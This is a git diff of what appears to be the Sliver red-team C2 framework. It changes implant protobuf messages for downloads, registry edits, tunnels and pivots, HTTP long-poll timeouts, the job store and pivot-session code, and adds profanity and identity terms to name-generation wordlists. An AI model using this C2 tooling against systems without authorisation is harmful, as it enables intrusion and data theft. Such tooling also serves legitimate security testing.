File diff suppressed because it is too large. Load diff
+16 -53
View File
@@ -54,7 +54,6 @@ message Register {
int64 ReconnectInterval = 13;
string ProxyURL = 14;
string ConfigID = 16;
int64 PeerID = 17;
}
message BeaconRegister {
@@ -65,12 +64,6 @@ message BeaconRegister {
int64 NextCheckin = 5;
}
message SessionRegister {
string ID = 1;
Register Register = 2;
}
message OpenSession {
repeated string C2s = 1;
int64 Delay = 2;
@@ -215,8 +208,6 @@ message Mkdir {
message DownloadReq {
string Path = 1;
int64 Start = 2;
int64 Stop = 3;
commonpb.Request Request = 9;
}
@@ -225,9 +216,7 @@ message Download {
string Path = 1;
string Encoder = 2;
bool Exists = 3;
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
bytes Data = 4;
commonpb.Response Response = 9;
}
@@ -612,18 +601,6 @@ message RegistryCreateKey {
commonpb.Response Response = 9;
}
message RegistryDeleteKeyReq {
string Hive = 1;
string Path = 2;
string Key = 3;
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistryDeleteKey {
commonpb.Response Response = 9;
}
message RegistrySubKeyListReq {
string Hive = 1;
string Path = 2;
@@ -654,7 +631,7 @@ message RegistryValuesList {
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
string SessionID = 9;
uint32 SessionID = 9;
}
message TunnelData {
@@ -665,7 +642,7 @@ message TunnelData {
bool Resend = 5;
uint64 TunnelID = 8 [jstype = JS_STRING];
string SessionID = 9;
uint32 SessionID = 9;
}
// ShellReq - Request the implant open a realtime shell tunnel
@@ -711,7 +688,7 @@ message Portfwd {
message Socks {
uint64 TunnelID = 8 [jstype = JS_STRING];
string SessionID = 9;
uint32 SessionID = 9;
}
message SocksData {
@@ -750,54 +727,40 @@ message PivotListener {
uint32 ID = 1;
PivotType Type = 2;
string BindAddress = 3;
repeated NetConnPivot Pivots = 4;
repeated PivotPeer Pivots = 4;
commonpb.Response Response = 9;
}
message PivotHello {
bytes PublicKey = 1;
int64 PeerID = 2;
string PublicKeySignature = 3;
bytes SessionKey = 4;
string PublicKeySignature = 2;
bytes SessionKey = 3;
}
message PivotServerKeyExchange {
int64 OriginID = 1;
bytes SessionKey = 2;
}
message PivotPeer {
int64 PeerID = 1;
string Name = 2;
int64 OriginID = 2;
bytes SessionKey = 3;
}
message PivotPeerEnvelope {
repeated PivotPeer Peers = 1;
uint32 Type = 2;
bytes PivotSessionID = 3;
int64 PeerID = 1;
int64 PivotID = 2;
string Name = 3;
bytes Data = 4;
int64 PeerFailureAt = 5;
}
message PivotPing {
uint32 Nonce = 1;
}
message NetConnPivot {
int64 PeerID = 1;
message PivotPeer {
int64 ID = 1;
string RemoteAddress = 2;
}
enum PeerFailureType {
SEND_FAILURE = 0;
DISCONNECT = 1;
}
message PivotPeerFailure {
int64 PeerID = 1;
PeerFailureType Type = 2;
string Err = 3;
int64 ID = 1;
}
message PivotListenersReq {
@@ -970,4 +933,4 @@ message ListExtensions {
repeated string Names = 1;
commonpb.Response Response = 9;
}
}
+1 -1
View File
@@ -103,7 +103,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
Sliver Copyright (C) 2021 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+49 -3
View File
@@ -64,6 +64,7 @@ late
long
modern
old
old-fashioned
quick
rapid
short
@@ -82,6 +83,7 @@ cooing
deafening
faint
harsh
high-pitched
hissing
hushed
husky
@@ -235,7 +237,7 @@ friendly
funny
gentle
glorious
good
good
happy
healthy
helpful
@@ -461,6 +463,7 @@ broad
joint
formal
limited
conservative
lovely
usual
ltd
@@ -468,6 +471,7 @@ unable
rural
initial
substantial
christian
bright
average
leading
@@ -480,6 +484,7 @@ working
overall
female
afraid
democratic
growing
sufficient
scientific
@@ -503,6 +508,7 @@ dry
historical
thin
daily
southern
increasing
wild
alone
@@ -516,10 +522,14 @@ upper
apparent
tall
busy
bloody
prepared
russian
moral
careful
clean
attractive
japanese
vital
thick
alternative
@@ -555,11 +565,13 @@ fundamental
odd
crucial
inner
used
criminal
contemporary
sharp
sick
near
roman
massive
unique
secondary
@@ -609,6 +621,7 @@ keen
flat
silent
indian
video-taped
worried
pale
statutory
@@ -632,6 +645,7 @@ rapid
adequate
fixed
sweet
administrative
wooden
remarkable
comprehensive
@@ -661,6 +675,8 @@ advanced
extreme
classical
fit
favourite
socialist
widespread
confident
straight
@@ -683,6 +699,7 @@ satisfied
conscious
developing
strategic
holy
smooth
dominant
remote
@@ -714,6 +731,8 @@ fat
tight
monetary
round
psychological
violent
unemployed
inevitable
junior
@@ -743,6 +762,7 @@ steady
classic
equivalent
intellectual
victorian
level
ultimate
creative
@@ -796,8 +816,11 @@ liable
multiple
ruling
curious
arab
sole
jewish
managing
pregnant
latin
nearby
exact
@@ -810,6 +833,7 @@ electoral
urgent
presidential
controversial
oral
everyday
encouraging
organic
@@ -829,7 +853,9 @@ disappointed
frightened
full-time
gastric
capitalist
romantic
naked
reluctant
magnificent
convenient
@@ -860,6 +886,7 @@ aggressive
spare
painful
abstract
asian
associated
legislative
monthly
@@ -874,11 +901,13 @@ ridiculous
amazing
comparable
successive
working-class
realistic
back
decent
unnecessary
flying
fucking
random
influential
dull
@@ -912,6 +941,8 @@ delicate
mild
occupational
excessive
progressive
iraqi
exceptional
integrated
striking
@@ -921,6 +952,7 @@ harsh
combined
fierce
handsome
characteristic
chronic
compulsory
interim
@@ -947,6 +979,7 @@ kind
advisory
hostile
precious
gay
accessible
determined
excited
@@ -955,6 +988,8 @@ provincial
smart
endless
isolated
post-war
drunk
geographical
like
dynamic
@@ -1001,6 +1036,7 @@ polish
israeli
developed
profound
representative
enthusiastic
dreadful
rigid
@@ -1034,6 +1070,7 @@ bored
charming
minimal
mobile
turkish
orange
rear
passive
@@ -1076,6 +1113,7 @@ useless
semantic
embarrassed
inherent
philosophical
deliberate
awake
variable
@@ -1172,12 +1210,14 @@ cheerful
subjective
forward
surviving
exotic
purple
cautious
visiting
aggregate
ethical
protestant
teenage
large-scale
dying
disastrous
@@ -1235,16 +1275,19 @@ imaginative
governing
accepted
vocational
palestinian
mighty
puzzled
worldwide
handicapped
organisational
sunny
eldest
eventual
spontaneous
vivid
rude
nineteenth-century
faithful
ministerial
innovative
@@ -1273,7 +1316,8 @@ famous
fragile
helpful
helpless
important
important
impossible
innocent
inquisitive
modern
@@ -1293,7 +1337,7 @@ uninterested
wandering
wild
wrong
adorable
adorable
alert
average
beautiful
@@ -1373,6 +1417,8 @@ nasty
new
nice
nosy
nutty
nutritious
odd
orange
ordinary
+147
View File
@@ -13163,6 +13163,9 @@ BEDRAGGLES
BEDRAGGLING
BEDRAIL
BEDRAILS
BEDRAPE
BEDRAPED
BEDRAPES
BEDRAPING
BEDRENCH
BEDRENCHED
@@ -17340,6 +17343,11 @@ BONZE
BONZER
BONZES
BOO
BOOB
BOOBED
BOOBIE
BOOBIES
BOOBING
BOOBIRD
BOOBIRDS
BOOBISH
@@ -17348,6 +17356,7 @@ BOOBOISIES
BOOBOO
BOOBOOS
BOOBS
BOOBY
BOOCOO
BOOCOOS
BOODIES
@@ -17357,6 +17366,7 @@ BOODLER
BOODLERS
BOODLES
BOODLING
BOODY
BOOED
BOOGER
BOOGERMAN
@@ -18150,6 +18160,7 @@ BOYSENBERRIES
BOYSENBERRY
BOZO
BOZOS
BRA
BRABBLE
BRABBLED
BRABBLER
@@ -18617,6 +18628,7 @@ BREAM
BREAMED
BREAMING
BREAMS
BREAST
BREASTBONE
BREASTBONES
BREASTED
@@ -18629,6 +18641,7 @@ BREASTPIN
BREASTPINS
BREASTPLATE
BREASTPLATES
BREASTS
BREASTSTROKE
BREASTSTROKER
BREASTSTROKERS
@@ -28608,6 +28621,7 @@ COCHLEAS
COCHLEATE
COCINERA
COCINERAS
COCK
COCKADE
COCKADED
COCKADES
@@ -61421,6 +61435,16 @@ FUCHSINE
FUCHSINES
FUCHSINS
FUCI
FUCK
FUCKED
FUCKER
FUCKERS
FUCKING
FUCKOFF
FUCKOFFS
FUCKS
FUCKUP
FUCKUPS
FUCOID
FUCOIDAL
FUCOIDS
@@ -72634,6 +72658,8 @@ HORSERACES
HORSERADISH
HORSERADISHES
HORSES
HORSESHIT
HORSESHITS
HORSESHOD
HORSESHOE
HORSESHOED
@@ -81667,6 +81693,7 @@ JETWAY
JETWAYS
JEU
JEUX
JEW
JEWED
JEWEL
JEWELED
@@ -81690,6 +81717,7 @@ JEWELWEEDS
JEWFISH
JEWFISHES
JEWING
JEWS
JEZAIL
JEZAILS
JEZEBEL
@@ -95887,6 +95915,7 @@ MISOGYNIES
MISOGYNIST
MISOGYNISTIC
MISOGYNISTS
MISOGYNY
MISOLOGIES
MISOLOGY
MISONEISM
@@ -102519,6 +102548,8 @@ NONHISTORICAL
NONHOME
NONHOMOGENEOUS
NONHOMOLOGOUS
NONHOMOSEXUAL
NONHOMOSEXUALS
NONHORMONAL
NONHOSPITAL
NONHOSPITALIZED
@@ -103061,6 +103092,8 @@ NONSEQUENTIAL
NONSERIAL
NONSERIALS
NONSERIOUS
NONSEXIST
NONSEXUAL
NONSHRINK
NONSHRINKABLE
NONSIGNER
@@ -109469,6 +109502,7 @@ OVERSEWED
OVERSEWING
OVERSEWN
OVERSEWS
OVERSEXED
OVERSHADE
OVERSHADED
OVERSHADES
@@ -111008,6 +111042,10 @@ PANORAMICALLY
PANPIPE
PANPIPES
PANS
PANSEXUAL
PANSEXUALITIES
PANSEXUALITY
PANSEXUALS
PANSIES
PANSOPHIC
PANSOPHIES
@@ -111470,6 +111508,9 @@ PARASAILINGS
PARASAILS
PARASANG
PARASANGS
PARASEXUAL
PARASEXUALITIES
PARASEXUALITY
PARASHAH
PARASHAHS
PARASHIOTH
@@ -113290,6 +113331,8 @@ PENILE
PENINSULA
PENINSULAR
PENINSULAS
PENIS
PENISES
PENITENCE
PENITENCES
PENITENT
@@ -123998,6 +124041,9 @@ PSYCHOPHYSICIST
PSYCHOPHYSICS
PSYCHOS
PSYCHOSES
PSYCHOSEXUAL
PSYCHOSEXUALITY
PSYCHOSEXUALLY
PSYCHOSIS
PSYCHOSOCIAL
PSYCHOSOCIALLY
@@ -141598,6 +141644,84 @@ SEWING
SEWINGS
SEWN
SEWS
SEX
SEXAGENARIAN
SEXAGENARIANS
SEXAGESIMAL
SEXAGESIMALS
SEXDECILLION
SEXDECILLIONS
SEXED
SEXENNIAL
SEXENNIALS
SEXES
SEXIER
SEXIEST
SEXILY
SEXINESS
SEXINESSES
SEXING
SEXISM
SEXISMS
SEXIST
SEXISTS
SEXLESS
SEXLESSLY
SEXLESSNESS
SEXLESSNESSES
SEXOLOGIC
SEXOLOGIES
SEXOLOGIST
SEXOLOGISTS
SEXOLOGY
SEXPLOITATION
SEXPLOITATIONS
SEXPOT
SEXPOTS
SEXT
SEXTAIN
SEXTAINS
SEXTAN
SEXTANS
SEXTANT
SEXTANTS
SEXTARII
SEXTARIUS
SEXTET
SEXTETS
SEXTETTE
SEXTETTES
SEXTILE
SEXTILES
SEXTILLION
SEXTILLIONS
SEXTO
SEXTODECIMO
SEXTODECIMOS
SEXTON
SEXTONS
SEXTOS
SEXTS
SEXTUPLE
SEXTUPLED
SEXTUPLES
SEXTUPLET
SEXTUPLETS
SEXTUPLICATE
SEXTUPLICATED
SEXTUPLICATES
SEXTUPLICATING
SEXTUPLING
SEXTUPLY
SEXUAL
SEXUALITIES
SEXUALITY
SEXUALIZE
SEXUALIZED
SEXUALIZES
SEXUALIZING
SEXUALLY
SEXY
SFERICS
SFORZANDI
SFORZANDO
@@ -142517,6 +142641,29 @@ SHIRTWAISTS
SHIRTY
SHIST
SHISTS
SHIT
SHITAKE
SHITAKES
SHITFACED
SHITHEAD
SHITHEADS
SHITLESS
SHITLIST
SHITLISTS
SHITLOAD
SHITLOADS
SHITS
SHITTAH
SHITTAHS
SHITTED
SHITTIER
SHITTIEST
SHITTIM
SHITTIMS
SHITTIMWOOD
SHITTIMWOODS
SHITTING
SHITTY
SHIV
SHIVA
SHIVAH
+143 -1
View File
@@ -17,6 +17,7 @@ account
accountant
achiever
acid
acknowledgment
acoustic
acoustics
acrylic
@@ -32,7 +33,9 @@ addiction
addition
address
adjustment
adrenalinz
administration
adrenalin
adult
adulthood
advance
advancement
@@ -403,6 +406,9 @@ bloom
bloomers
blossom
blouse
blow
blowgun
blowhole
blue
blueberry
boar
@@ -431,7 +437,10 @@ bookend
booklet
booster
boot
bootee
bootie
boots
booty
border
bore
bosom
@@ -455,6 +464,8 @@ box
boxer
boxspring
boy
boyfriend
bra
brace
bracelet
bracket
@@ -472,6 +483,7 @@ breadcrumb
break
breakfast
breakpoint
breast
breastplate
breath
breeze
@@ -480,7 +492,9 @@ brick
bricklaying
bridge
brief
briefs
brilliant
british
broad
broccoli
brochure
@@ -495,6 +509,7 @@ brood
brook
broom
brother
brother-in-law
brow
brown
brush
@@ -520,6 +535,9 @@ bull-fighter
bumper
bun
bunch
bungalow
bunghole
bunkhouse
burglar
burlesque
burn
@@ -568,6 +586,7 @@ campanile
can
canal
cancel
cancer
candelabra
candidate
candle
@@ -639,6 +658,7 @@ cauliflower
cause
caution
cave
c-clamp
cd
ceiling
celebration
@@ -683,6 +703,7 @@ change
channel
chaos
chap
chapel
chapter
character
chard
@@ -692,11 +713,14 @@ charlatan
charles
charm
chart
chastity
chasuble
chateau
chauffeur
chauvinist
check
checkroom
cheek
cheetah
chef
chemical
@@ -705,6 +729,8 @@ cheque
cherries
cherry
chess
chest
chick
chicken
chicory
chief
@@ -719,18 +745,23 @@ chin
chino
chip
chipmunk
chit-chat
chivalry
chive
chocolate
choice
choker
chop
chopstick
chord
chowder
chrome
chromolithograph
chronograph
chronometer
chub
chug
church
churn
cicada
cigarette
@@ -815,6 +846,8 @@ collection
college
collision
colloquia
colon
colonisation
colony
color
colt
@@ -824,6 +857,8 @@ comb
combat
combination
combine
comfort
comfortable
comic
comma
command
@@ -982,6 +1017,7 @@ credenza
credit
creditor
creek
creme brulee
crest
crew
crib
@@ -1000,6 +1036,8 @@ croissant
crook
crop
cross
cross-contamination
cross-stitch
crotch
croup
crow
@@ -1008,13 +1046,16 @@ crown
crude
crush
cry
crystallography
cub
cuckoo
cucumber
cuff-links
cultivar
cultivator
culture
culvert
cummerbund
cup
cupboard
cupcake
@@ -1044,6 +1085,7 @@ cymbals
cynic
cyst
cytoplasm
dad
daffodil
dagger
dahlia
@@ -1063,6 +1105,8 @@ dashboard
data
database
date
daughter
david
day
daybed
dead
@@ -1138,6 +1182,7 @@ diamond
diaphragm
diarist
dibble
dickey
dictaphone
diction
dictionary
@@ -1176,6 +1221,7 @@ discovery
discrepancy
discussion
disease
disembodiment
disengagement
disguise
disgust
@@ -1381,6 +1427,7 @@ essay
establishment
estate
estimate
estrogen
estuary
ethernet
ethics
@@ -1406,6 +1453,7 @@ excuse
executor
exercise
exhaust
ex-husband
exile
existence
exit
@@ -1459,6 +1507,11 @@ fanny
fanny-pack
farm
farmer
fascia
fat
father
father-in-law
fatigues
faucet
fault
fawn
@@ -1467,6 +1520,7 @@ fear
feast
feather
feature
fedelini
fedora
fee
feed
@@ -1474,6 +1528,8 @@ feedback
feel
feeling
feet
felony
female
fen
fence
fencing
@@ -1509,6 +1565,7 @@ finish
finisher
fir
fire
fireman
fireplace
firewall
fish
@@ -1532,6 +1589,7 @@ flavor
flax
fleck
fleece
flesh
flight
flintlock
flip-flops
@@ -1668,6 +1726,7 @@ geese
gelding
gem
gemsbok
gender
gene
general
genetics
@@ -1737,6 +1796,12 @@ grain
gram
grammar
grand
granddaughter
grandfather
grandmom
grandmother
grandson
granny
grape
grapefruit
graph
@@ -1748,6 +1813,9 @@ gratitude
gray
grease
great
great-grandfather
great-grandmother
greek
green
greenhouse
grenade
@@ -1777,7 +1845,11 @@ gum
gumshoes
gun
gutter
guy
gym
gymnast
gymnastics
gynaecology
gyro
habit
hacienda
@@ -1787,15 +1859,20 @@ hail
hair
haircut
half
half-brother
half-sister
halibut
hall
hallway
hamaki
hamburger
hammer
hammock
hamster
hand
handball
hand-holding
handicap
handle
handlebar
handmaiden
@@ -1847,8 +1924,11 @@ hedgehog
heel
height
heirloom
helen
helicopter
helium
hell
hellcat
hello
helmet
helo
@@ -1936,6 +2016,7 @@ husband
hut
hutch
hyacinth
hybridisation
hydrant
hydraulics
hydrofoil
@@ -2013,6 +2094,8 @@ inspector
instance
instruction
instrument
instrumentalist
instrumentation
insulation
insurance
insurgence
@@ -2052,13 +2135,17 @@ item
jackal
jacket
jaguar
jail
jailhouse
jam
james
jar
jasmine
jaw
jealousy
jeans
jeep
jeff
jelly
jellyfish
jet
@@ -2068,6 +2155,7 @@ jiffy
job
jockey
jodhpurs
joey
jogging
join
joint
@@ -2092,6 +2180,7 @@ jury
justice
jute
kale
kamikaze
kangaroo
karate
karen
@@ -2127,7 +2216,9 @@ kiss
kitchen
kite
kitten
kitty
kleenex
klomps
knee
kneejerk
knickers
@@ -2145,6 +2236,7 @@ laborer
labour
lace
lack
lacquerware
ladder
lady
ladybug
@@ -2416,6 +2508,7 @@ metro
metronome
mezzanine
mice
microlending
microwave
mid-course
middle
@@ -2469,14 +2562,19 @@ mobile
moccasins
mocha
mode
model
modem
mole
mom
moment
monastery
monasticism
money
monger
monitor
monkey
monocle
monotheism
monsoon
monster
month
@@ -2494,6 +2592,8 @@ mosquito
most
motel
moth
mother
mother-in-law
motion
motor
motorboat
@@ -2525,6 +2625,7 @@ music-making
mustache
mustard
mutt
mycoplasma
n
nail
name
@@ -2558,6 +2659,9 @@ netball
netbook
netsuke
network
neurobiologist
neuropathologist
neuropsychiatry
news
newspaper
newsprint
@@ -2731,7 +2835,9 @@ panda
panic
pannier
panpipe
pansy
panther
panties
pantologist
pantology
pantry
@@ -2807,6 +2913,7 @@ pearl
pedal
peen
peer
peer-to-peer
pegboard
pelican
pelt
@@ -2958,6 +3065,7 @@ poof
pool
pop
popcorn
poppy
popsicle
population
populist
@@ -2976,6 +3084,7 @@ post
postage
postbox
poster
pot
potato
potential
potty
@@ -3003,6 +3112,7 @@ president
press
pressroom
pressure
pressurisation
price
pride
priest
@@ -3140,6 +3250,7 @@ rambler
ramie
ranch
random
randomisation
range
rank
raspberry
@@ -3192,8 +3303,10 @@ regret
regular
regulation
reindeer
reinscription
reject
relation
relationship
relative
relaxation
release
@@ -3232,6 +3345,7 @@ respect
respite
respond
response
responsibility
rest
restaurant
result
@@ -3263,6 +3377,7 @@ rifle
right
rim
ring
ringworm
rip
ripple
rise
@@ -3366,11 +3481,13 @@ scallion
scanner
scarecrow
scarf
scarification
scene
scenery
scent
schedule
scheme
schizophrenic
schnitzel
school
schoolhouse
@@ -3429,6 +3546,7 @@ sense
sensitive
sentence
sepal
septicaemia
series
servant
serve
@@ -3439,6 +3557,7 @@ set
setting
settler
sewer
sex
shack
shade
shadow
@@ -3530,6 +3649,9 @@ sing
singer
single
sink
sir
sister
sister-in-law
sitar
site
situation
@@ -3626,6 +3748,8 @@ source
sourwood
sousaphone
south
south america
south korea
sow
soy
soybean
@@ -3723,6 +3847,15 @@ steeple
stem
stencil
step
step-aunt
step-brother
stepdaughter
step-daughter
step-father
step-grandfather
step-grandmother
stepmother
step-mother
stepping-stone
steps
step-sister
@@ -3881,6 +4014,7 @@ talk
tam
tambour
tambourine
tam-o'-shanter
tandem
tangerine
tank
@@ -4033,6 +4167,7 @@ total
tote
touch
tough
tough-guy
tour
tourist
towel
@@ -4133,6 +4268,7 @@ two
type
typewriter
typhoon
tyvek
ukulele
umbrella
unblinking
@@ -4180,12 +4316,16 @@ vase
vast
vault
vaulting
veal
vegetable
vegetarianism
vegetation
vehicle
veil
vein
veldt
vellum
velodrome
velvet
vengeance
venom
@@ -4209,6 +4349,8 @@ village
vineyard
vinyl
viola
violence
violet
violin
virginal
virtue
+13 -10
View File
@@ -67,10 +67,10 @@ var (
const (
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultHTTPTimeout = time.Minute
DefaultLongPollTimeout = time.Second
DefaultLongPollJitter = time.Second
minPollTimeout = time.Second
DefaultHTTPTimeout = time.Minute * 5
DefaultLongPollTimeout = 20 * time.Second
DefaultLongPollJitter = 20 * time.Second
minPollTimeout = time.Second * 5
)
var (
@@ -129,8 +129,8 @@ type HTTPServerConfig struct {
MaxRequestLength int
EnforceOTP bool
LongPollTimeout time.Duration
LongPollJitter time.Duration
LongPollTimeout int64
LongPollJitter int64
}
// SliverHTTPC2 - Holds refs to all the C2 objects
@@ -188,7 +188,7 @@ func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
WriteTimeout: DefaultHTTPTimeout,
ReadTimeout: DefaultHTTPTimeout,
IdleTimeout: DefaultHTTPTimeout,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)),
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
}
if conf.ACME {
conf.Domain = filepath.Base(conf.Domain) // I don't think we need this, but we do it anyways
@@ -257,8 +257,8 @@ func (s *SliverHTTPC2) router() *mux.Router {
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
}
if s.ServerConf.LongPollTimeout == 0 {
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
s.ServerConf.LongPollJitter = DefaultLongPollJitter
s.ServerConf.LongPollTimeout = int64(DefaultLongPollTimeout)
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
}
httpLog.Debugf("HTTP C2 Implant Config = %v", c2Config.ImplantConfig)
@@ -630,15 +630,18 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
}
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
if s.ServerConf.LongPollJitter < 0 {
s.ServerConf.LongPollJitter = 0
}
min := s.ServerConf.LongPollTimeout
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
timeout := float64(min) + insecureRand.Float64()*(float64(max)-float64(min))
pollTimeout := time.Duration(int64(timeout))
httpLog.Debugf("Poll timeout: %s", pollTimeout)
if pollTimeout < minPollTimeout {
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
pollTimeout = minPollTimeout
}
httpLog.Debugf("Poll timeout: %s", pollTimeout)
return pollTimeout
}
+2 -2
View File
@@ -380,8 +380,8 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
Key: j.Key,
ACME: j.ACME,
EnforceOTP: j.EnforceOTP,
LongPollTimeout: time.Duration(j.LongPollTimeout),
LongPollJitter: time.Duration(j.LongPollJitter),
LongPollTimeout: j.LongPollTimeout,
LongPollJitter: j.LongPollJitter,
}
job, err := StartHTTPListenerJob(cfg)
if err != nil {
-4
View File
@@ -1,4 +0,0 @@
Core
======
The core packages handles the server's state (maintaining references to running jobs, open connections, etc), generally no other packages should hold state.
-2
View File
@@ -44,7 +44,6 @@ type eventBroker struct {
send chan Event
}
// Start - Start a broker channel
func (broker *eventBroker) Start() {
subscribers := map[chan Event]struct{}{}
for {
@@ -66,7 +65,6 @@ func (broker *eventBroker) Start() {
}
}
// Stop - Close the broker channel
func (broker *eventBroker) Stop() {
close(broker.stop)
}
-1
View File
@@ -33,7 +33,6 @@ var (
coreLog = log.NamedLogger("core", "hosts")
)
// StartEventAutomation - Starts an event automation goroutine
func StartEventAutomation() {
go func() {
for event := range EventBroker.Subscribe() {
+24 -21
View File
@@ -21,15 +21,16 @@ package core
import (
"sync"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
consts "github.com/bishopfox/sliver/client/constants"
)
var (
// Jobs - Holds pointers to all the current jobs
Jobs = &jobs{
// ID -> *Job
active: &sync.Map{},
active: map[int]*Job{},
mutex: &sync.RWMutex{},
}
jobID = 0
)
@@ -60,22 +61,26 @@ func (j *Job) ToProtobuf() *clientpb.Job {
// jobs - Holds refs to all active jobs
type jobs struct {
active *sync.Map
active map[int]*Job
mutex *sync.RWMutex
}
// All - Return a list of all jobs
func (j *jobs) All() []*Job {
j.mutex.RLock()
defer j.mutex.RUnlock()
all := []*Job{}
j.active.Range(func(key, value interface{}) bool {
all = append(all, value.(*Job))
return true
})
for _, job := range j.active {
all = append(all, job)
}
return all
}
// Add - Add a job to the hive (atomically)
func (j *jobs) Add(job *Job) {
j.active.Store(job.ID, job)
j.mutex.Lock()
defer j.mutex.Unlock()
j.active[job.ID] = job
EventBroker.Publish(Event{
Job: job,
EventType: consts.JobStartedEvent,
@@ -84,13 +89,13 @@ func (j *jobs) Add(job *Job) {
// Remove - Remove a job
func (j *jobs) Remove(job *Job) {
_, ok := j.active.LoadAndDelete(job.ID)
if ok {
EventBroker.Publish(Event{
Job: job,
EventType: consts.JobStoppedEvent,
})
}
j.mutex.Lock()
defer j.mutex.Unlock()
delete(j.active, job.ID)
EventBroker.Publish(Event{
Job: job,
EventType: consts.JobStoppedEvent,
})
}
// Get - Get a Job
@@ -98,11 +103,9 @@ func (j *jobs) Get(jobID int) *Job {
if jobID <= 0 {
return nil
}
val, ok := j.active.Load(jobID)
if ok {
return val.(*Job)
}
return nil
j.mutex.RLock()
defer j.mutex.RUnlock()
return j.active[jobID]
}
// NextJobID - Returns an incremental nonce as an id
+1 -212
View File
@@ -1,218 +1,7 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sync"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
const (
PivotTransportName = "pivot"
)
import "sync"
var (
PivotSessions = &sync.Map{} // ID -> Pivot
)
// Pivot - Wraps an ImplantConnection
type Pivot struct {
ID string
OriginID int64
ImplantConn *ImplantConnection
ImmediateImplantConn *ImplantConnection
CipherCtx *cryptography.CipherContext
Peers []*sliverpb.PivotPeer
}
// Start - Starts the pivot send loop which forwards envelopes from the pivot ImplantConnection
// to the ImmediateImplantConnection (the closest peer in the chain)
func (p *Pivot) Start() {
go func() {
defer func() {
coreLog.Debugf("pivot session %s send loop closing (origin id: %d)", p.ID, p.OriginID)
}()
for envelope := range p.ImplantConn.Send {
envelopeData, err := proto.Marshal(envelope)
if err != nil {
coreLog.Errorf("failed to marshal envelope: %v", err)
continue
}
ciphertext, err := p.CipherCtx.Encrypt(envelopeData)
if err != nil {
coreLog.Errorf("failed to encrypt envelope: %v", err)
continue
}
peerEnvelopeData, _ := proto.Marshal(&sliverpb.PivotPeerEnvelope{
Type: envelope.Type,
Peers: p.Peers,
Data: ciphertext,
})
if err != nil {
coreLog.Errorf("failed to wrap pivot peer envelope: %v", err)
continue
}
p.ImmediateImplantConn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgPivotPeerEnvelope,
Data: peerEnvelopeData,
}
}
}()
}
// NewPivotSession - Creates a new pivot session
func NewPivotSession(chain []*sliverpb.PivotPeer) *Pivot {
id, _ := uuid.NewV4()
return &Pivot{
ID: id.String(),
Peers: chain,
}
}
// PivotGraphEntry - A single entry in the pivot graph
type PivotGraphEntry struct {
PeerID int64
SessionID string
Name string
// PeerID -> Child
Children map[int64]*PivotGraphEntry
}
// ToProtobuf - Recursively converts the pivot graph to protobuf
func (e *PivotGraphEntry) ToProtobuf() *clientpb.PivotGraphEntry {
children := []*clientpb.PivotGraphEntry{}
for _, child := range e.Children {
children = append(children, child.ToProtobuf())
}
return &clientpb.PivotGraphEntry{
PeerID: e.PeerID,
Session: Sessions.Get(e.SessionID).ToProtobuf(),
Name: e.Name,
Children: children,
}
}
// Insert - Inserts a pivot into the graph, if it doesn't yet exist
func (e *PivotGraphEntry) Insert(input *PivotGraphEntry) {
if _, ok := e.Children[input.PeerID]; !ok {
e.Children[input.PeerID] = input
}
}
// FindEntryByPeerID - Finds a pivot graph entry by peer ID, recursively
func (e *PivotGraphEntry) FindEntryByPeerID(peerID int64) *PivotGraphEntry {
if e.PeerID == peerID {
return e
}
for _, entry := range e.Children {
childEntry := entry.FindEntryByPeerID(peerID)
if childEntry != nil {
return childEntry
}
}
return nil
}
// AllChildren - Flat list of all children (including children of children)
func (e *PivotGraphEntry) AllChildren() []*PivotGraphEntry {
children := []*PivotGraphEntry{}
coreLog.Debugf("parent: %v", e)
for _, child := range e.Children {
children = append(children, child)
children = append(children, child.AllChildren()...)
}
coreLog.Debugf("parent: %v, all children: %v", e, children)
return children
}
func findAllChildrenByPeerID(peerID int64) []*PivotGraphEntry {
children := []*PivotGraphEntry{}
for _, topLevelEntry := range PivotGraph() {
entry := topLevelEntry.FindEntryByPeerID(peerID)
coreLog.Debugf("top level entry: %v, found: %v", topLevelEntry, entry)
if entry != nil {
children = entry.AllChildren()
break
}
}
return children
}
// PivotGraph - Creates a graph structure of sessions/pivots
func PivotGraph() []*PivotGraphEntry {
graph := []*PivotGraphEntry{}
// Any non-pivot session will be top-level
for _, session := range Sessions.All() {
if session.Connection.Transport == PivotTransportName {
continue
}
graph = append(graph, &PivotGraphEntry{
PeerID: session.PeerID,
SessionID: session.ID,
